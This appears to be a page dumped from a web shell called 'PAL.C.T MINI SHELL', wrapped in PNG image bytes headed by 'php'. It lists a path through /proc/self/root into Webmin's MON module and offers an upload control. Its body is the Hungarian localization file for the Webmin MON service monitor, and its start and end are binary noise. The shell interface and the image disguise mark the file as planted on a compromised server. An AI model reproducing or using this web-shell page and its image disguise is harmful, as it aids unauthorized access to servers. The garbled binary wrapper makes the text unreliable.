php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/mon/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/mon/lang/hu.auto

index_title=MON szerviz monitor
index_return=MON index
index_edir=A (z) $1 MON könyvtár nem létezik. Lehet, hogy a MON nincs telepítve, vagy a <a href='$2'>modul konfigurációja</a> helytelen.
mon_global_title=Globális változók konfigurálása
mon_conf_title=Alapvető konfiguráció
mon_status_title=Működési állapot
hostgroups_title=MON konfiguráció-gazdacsoportok
services_title=Figyelőcsoportok - szolgáltatásmeghatározások

head_hostgroups=Gazdacsoportok és szolgáltatások
head_groups=Gazdacsoport neve
head_members=A fogadó csoport tagjai
head_services=Nézendő Hostgroup szolgáltatások
head_service=Szolgálat nézni
head_param=Szolgáltatási paraméterek
head_watch=Figyeli a csoportot?
head_monauth=Hitelesítés biztosítása a MONCMD számára
head_usr=Felhasználónév
head_pass=Jelszó
head_mand=(A "Vörös SZÍN" paraméterek kötelezőek)

err_nomon=A 'mon' csomag nincs telepítve a rendszerre
err_nomonconf=A (z) $1 MON konfigurációs fájl nem található a rendszerén. Lehet, hogy a MON nincs telepítve, vagy a <a href='$2'>modul konfigurációja</a> helytelen.
err_nowatch=Nincs kiválasztva figyelőcsoport. Válassza ki a folytatáshoz legalább egy figyelőcsoportot.
err_noserv=Nincs kiválasztva szolgáltatás az figyelőcsoporthoz
err_nomemb=Nincs kiválasztva házigazdák/tagok az ellenőrző csoporthoz
err_monrun=A MON nem fut a host gépen. Kérjük, indítsa el a MON-t.
stop_err=Nem sikerült megállítani a MON-t
stop_epid=Már nem fut
start_err=A MON indítása nem sikerült
restart_err=Nem sikerült a MON újraindítása
restart_epid=Nem sikerült beolvasni a PID-t

other=Egyéb (külön hely)
next=Következő
mon_stat=MON állapot
mon_off=A MON szolgáltatások nem indultak el
mon_start=Indítsa el a MON Services szolgáltatást
mon_stop=Állítsa le a MON Services szolgáltatást
mon_restart=Indítsa újra a MON szolgáltatásokat
mon_startdesc=Kattintson erre a gombra a MON szerver indításához. Amíg el nem indul, konfigurált figyelést nem végez.
mon_stopdesc=Kattintson erre a gombra a MON szerver leállításához. Megálláskor a konfigurált figyelés megszűnik.
mon_restartdesc=Kattintson erre a gombra a jelenlegi MON-konfiguráció alkalmazásához a szerverfolyamat újraindításával.
line=(mindegyik soronként egy)
save_apply=Mentés és alkalmazás
watch=Watchgroup
members=Belépés
def_perargs=wd {Sat-Sun}

def_desc=leírás
def_inter=intervallum
def_mon=monitor
def_dep=dpend
def_per=időszak
def_alert=éber
def_alertevr=alertevery
def_alertaft=alertafter
def_alertstr=startupalert
def_allow=allow_empty_group
def_traptime=traptimeout
def_trapdur=trapduration
def_rand=randskew
def_exclhost=exclude_hosts
def_exclper=exclude_period

groups_title=Gazdacsoportok
groups_group=Csoport név
groups_members=Tag házigazdák

watches_title=Figyelési listák
watches_group=Figyelő csoport
watches_services=Figyelembe vett szolgáltatások
watches_sadd=Szolgáltatás hozzáadása ..
watches_add=A csoport figyelőlista hozzáadása :
watches_return=figyelési listák
watches_none=Még nem határoztak meg figyelési listákat.

global_title=Globális opciók
global_header=Globális MON konfigurációs lehetőségek
global_maxprocs=Maximális MON folyamatok
global_histlength=Esemény előzmények hossza
global_alertdir=Riasztási programok könyvtára
global_mondir=Monitor programok könyvtára
global_authtype=Hitelesítés típusa
global_authtype_=Alapértelmezett
global_authtype_getpwnam=Rendszerhívások
global_authtype_userfile=MON felhasználói fájl
global_authtype_shadow=Árnyék fájl
global_userfile=MON felhasználói fájl
global_emaxprocs=Hiányzó vagy érvénytelen számú MON folyamat
global_ehistlength=Hiányzó vagy érvénytelen eseményelőzmények
global_ealertdir=Hiányzó vagy érvénytelen figyelmeztető programok könyvtár
global_emondir=Hiányzó vagy érvénytelen monitor-programkönyvtár
global_euserfile=Hiányzó MON felhasználói fájl

watch_title=Figyelőlista szerkesztése
watch_header=A fogadó csoport figyelésének részletei
watch_group=Nézendő fogadó csoport
watch_services=Figyelembe vett szolgáltatások
watch_service=Szolgáltatás neve
watch_monitor=Monitor használata
watch_interval=Ellenőrizze az összeset
watch_periods=Felügyeleti időszakok

service_title=Szolgáltatás hozzáadása
service_title2=Szerkesztési szolgáltatás
service_header=Figyelt szolgáltatás részletei
service_name=A szolgáltatás neve
service_interval=Ellenőrizze az összeset
service_desc=Leírás
service_units_s=másodperc
service_units_m=percek
service_units_h=órák
service_units_d=napok
service_units_w=hetes
service_monitor=Monitor használata
service_mon1=Normál monitor
service_mon0=Egyéb monitor ..
service_args=Monitorparaméterek
service_period=Monitoring időszak $1 
service_days=Napok az ellenőrzéshez
service_hours=Órák ellenőrizni
service_all=Összes
service_pstr=Időszak meghatározása
service_new=Új monitoring időszak
service_alerts=Riasztások az időszakra
service_alert=Éber
service_atype=Fuss mikor
service_atype_alert=A szolgáltatás csökken
service_atype_upalert=Szolgáltatások jönnek fel
service_atype_startupalert=A MON elindul
service_aargs=További paraméterek
service_every=Figyelmeztetés küldése
service_every_def=A monitor minden egyes futtatásakor
service_every_time=Minden
service_num=Legfeljebb küldhető riasztások
service_unlimited=Korlátlan
service_after=Hiba riasztás előtt
service_immediate=Azonnal
service_after_num=$1 kudarcok után
service_aftertime=Az időintervallumon belül
service_newperiod=Adjon hozzá egy új időszakot
service_delperiod=Törölje ezt az időszakot
service_err=Nem sikerült menteni a szolgáltatást
service_ename=Hiányzó vagy érvénytelen szolgáltatási név
service_einterval=Hiányzó vagy érvénytelen ellenőrzési intervallum
service_eother=Hiányzó vagy érvénytelen monitor
service_ehour=Hiányzó vagy érvénytelen óra a (z) $1 időszakban (9:00 vagy 17:00 lehet)
service_eperiod=A (z) $1 időszakra nincs megadva nap vagy óra
service_eevery=Hiányzó vagy érvénytelen szerviz riasztási időköz
service_eafter=Hiányzó vagy érvénytelen hibaszám a riasztás előtt
service_enum=Hiányzó vagy érvénytelen küldött riasztások
service_epstr=Hiányzik az időszak meghatározása
service_known0=<tt>Idő :: Időszak</tt> karakterlánc
service_known1=Meghatározott napok és órák
service_known2=Meghatározott időszak

status_title=MON állapot
status_ecgi=A (z) $1 MON státusú CGI program nem létezik. Lehet, hogy nincs telepítve, vagy a <a href='$2'>modul konfigurációja</a> helytelen.
status_eperl=A MON status CGI programhoz szükséges a $1 perl modul. <a href='$2'>Kattintson ide</a>, hogy közvetlenül a CPAN-ből telepítse.
status_esame=A $1 MON státusú CGI programot a Webmin modul <tt>mon.cgi</tt> parancsfájljára állította, nem pedig a MON-hez tartozó CGI programra. Állítsa be a <a href='$2'>modul konfigurációját</a> a helyes útvonal használatához.

users_title=MON felhasználók
users_etype=A MON felhasználók listáját nem lehet szerkeszteni, mert a MON jelenleg nincs konfigurálva arra, hogy hitelesítésre használja a <a href='$1'>Globális beállítások</a> oldalon.
users_header=Megengedett MON felhasználók a $1 -ben
users_nousers=Nincs meghatározva MON felhasználó a $1 -ben.
users_add=Hozzon létre új felhasználót.
users_return=MON felhasználók listája

user_create=Hozzon létre MON felhasználót
user_edit=A MON felhasználó szerkesztése
user_header=MON felhasználói adatok
user_user=Felhasználónév
user_pass=Jelszó
user_leave=Hagyja változatlanul
user_err=Nem sikerült menteni a felhasználót
user_euser=Hiányzik vagy érvénytelen felhasználónév
user_esame=Az azonos nevű felhasználó már létezik

auth_title=Ügyfélparancsok
auth_desc=Ezen az oldalon ellenőrizheti, hogy mely MON parancsokat futtathatja a felhasználók az ügyfélprogramok használatakor.
auth_cmd=MON parancs
auth_users=Engedélyezett felhasználók
auth_none=Senki
auth_all=Mindenki
auth_sel=Csak a felhasználók
auth_err=Az ügyfélparancsok mentése nem sikerült
auth_eusers=A (z) $1 parancshoz egyetlen felhasználó sem lép be

periods_title=Meghatározott időszakok
periods_period=Időszak neve
periods_times=Napok és idők
periods_alldays=Minden nap
periods_allhours=Minden óra
periods_err=Nem sikerült menteni a meghatározott periódusokat
periods_ename=A '$1' nem érvényes időszaknév
periods_ehour=Hiányzó vagy érvénytelen óra a (z) $1 időszakban (9:00 vagy 17:00 lehet)

show_title=Működési állapot
show_ecgi=A $1 MON státus program nem létezik. Lehet, hogy nincs telepítve, vagy a <a href='$2'>modul konfigurációja</a> helytelen.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`